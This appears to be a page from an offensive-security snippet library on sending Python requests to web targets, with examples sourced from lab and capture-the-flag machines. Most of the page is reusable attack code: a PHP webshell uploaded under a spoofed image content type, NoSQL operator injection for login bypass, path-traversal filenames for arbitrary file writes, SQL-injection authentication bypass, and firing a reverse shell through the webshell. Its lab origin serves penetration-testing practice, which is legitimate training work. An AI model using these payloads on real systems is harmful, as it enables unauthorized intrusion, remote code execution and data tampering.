Skip to content
HTTP

HTTP

Sending requests the way a target expects them: query params, form and JSON bodies, multipart uploads, cookies, bearer tokens, and CSRF flows.

GET with query params

params= URL-encodes automatically; the injectable value is built before being passed.

params = {
    "id": 4,
    "q": payload
}
r = s.get(url=URL, params=params, verify=False, proxies=PROXIES, timeout=10)

Find by: get, query string, params, url parameters, requests, fetch

POST form-encoded (data=)

data=dict sends application/x-www-form-urlencoded — the default HTML form transport.

login_data = {
    "username": payload,
    "password": "test"
}
r = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=PROXIES, timeout=10)

Find by: post, form, urlencoded, data, login, body, application/x-www-form-urlencoded

POST JSON body (json=)

json= sets Content-Type: application/json and serializes — needed for NoSQL operator injection.

json_data = {
    "username": "admin",
    "password": {"$ne": None}
}
r = s.post(url=LOGIN_URL, json=json_data, verify=False, proxies=PROXIES, timeout=10)

Find by: post, json, application/json, api, body, nosql, operator injection, rest

Multipart file upload (webshell)

files tuple = (filename, content, content_type); a spoofed content_type bypasses naive checks.

files = {
    "file": ("shell.php", "<?php system($_REQUEST['cmd']); ?>", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES, timeout=10)
# webshell then at: {URL}/uploads/shell.php?cmd=id

Find by: upload, multipart, file, files, webshell, form-data, content-type, rce, image · Source: PG/Zipper, PG/MZEEAV

Multipart upload + extra form fields

data= is passed alongside files= when the form needs other inputs (username, csrf, submit).

data = {
    "txtusername": "abcd",
    "txtfullname": "abcd",
    "btncreate": ""
}
file = {
    "avatar": ("shell.php", b"<?php system($_REQUEST['cmd']); ?>", "image/jpg")
}
r = s.post(url=UPLOAD_URL, data=data, files=file, verify=False, proxies=PROXIES, timeout=10)

Find by: upload, multipart, file plus data, form fields, files and data, mixed · Source: HTB/Unbalanced (Prison MS)

Path-traversal filename in upload

Traversal in the filename writes outside the upload dir (arbitrary file write/read primitive).

traversal_file = f"../../../../../../..{absolute_path}"
files = {
    "file": (traversal_file, "test", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES)

Find by: path traversal, lfi, upload, filename, dot dot slash, arbitrary write, directory traversal, overwrite · Source: PG/WallpaperHub

Grab CSRF token then submit

The form is fetched, the hidden token is scraped from its input, then replayed in the POST on the same Session.

Anti-CSRF tokens are single-use and bound to the session, so one cannot be hardcoded: the form is fetched first, the hidden token is scraped from its <input>, then replayed in the POST on the same requests.Session (which also carries the matching cookie). If the token rotates per request, it must be re-fetched before every submit.

def get_csrf(s):
    r = s.get(url=LOGIN_URL, verify=False, timeout=10)
    soup = BeautifulSoup(r.text, "html.parser")
    return soup.find("input", {"id": "csrf"})["value"]

def login(s):
    data = {
        "csrf": get_csrf(s),
        "username": USERNAME,
        "password": PASSWORD
    }
    r = s.post(url=LOGIN_URL, data=data, verify=False, timeout=10)
    if "Wrong" in r.text:
        print("[-] Login failed.")
        sys.exit(1)
    print("[+] Logged in.")

The hidden field you scrape

<form action="/login" method="post">
  <input type="hidden" id="csrf" name="csrf" value="b3f1c8e2">
  <input name="username">
  <input name="password" type="password">
</form>

Find by: csrf, token, anti-csrf, hidden input, login, bs4, beautifulsoup, fetch then post, two step · Source: PG/Monster

Login → extract session cookie (no redirect)

allow_redirects=False so the 302 (success signal) is visible; the cookie is pulled from the jar.

r = s.post(url=LOGIN_URL, data=DATA, verify=False, allow_redirects=False, timeout=10)
if r.status_code != 302:
    print("[-] Injection did not work")
    sys.exit(1)
session_cookie = s.cookies.get("session")
print(f"[+] Authenticated — cookie: {session_cookie}")

Find by: cookie, session, allow_redirects, 302, set-cookie, authentication, sqli auth bypass, phpsessid · Source: WSA SQLi auth bypass

Set session-wide Authorization (Bearer JWT)

s.headers.update() applies the header to every later request on the Session.

def auth(s):
    r = s.post(url=AUTH_URL, json={"email": ADMIN_EMAIL}, verify=False, proxies=PROXIES, timeout=10)
    token = r.json().get("token")
    if not token:
        print("[-] Failed to get JWT.")
        sys.exit(1)
    return token

token = auth(s)
s.headers.update({"Authorization": f"Bearer {token}"})

Find by: jwt, bearer, authorization header, token, headers update, api auth, session header · Source: CWEE/JS Injection

Timeout-as-success (blocking-payload trigger)

When the payload spawns a blocking shell, the request never returns — Timeout is caught as the success signal.

try:
    r = s.get(url=web_shell_url, params={"cmd": reverse_shell}, verify=False, timeout=5, proxies=PROXIES)
except requests.Timeout:
    print("[+] Reverse shell command sent — check your listener.")
except Exception as e:
    print(f"[-] Could not trigger: {e}")

Find by: timeout, reverse shell, trigger, blocking, requests.Timeout, fire and forget, rce, hang · Source: PG/many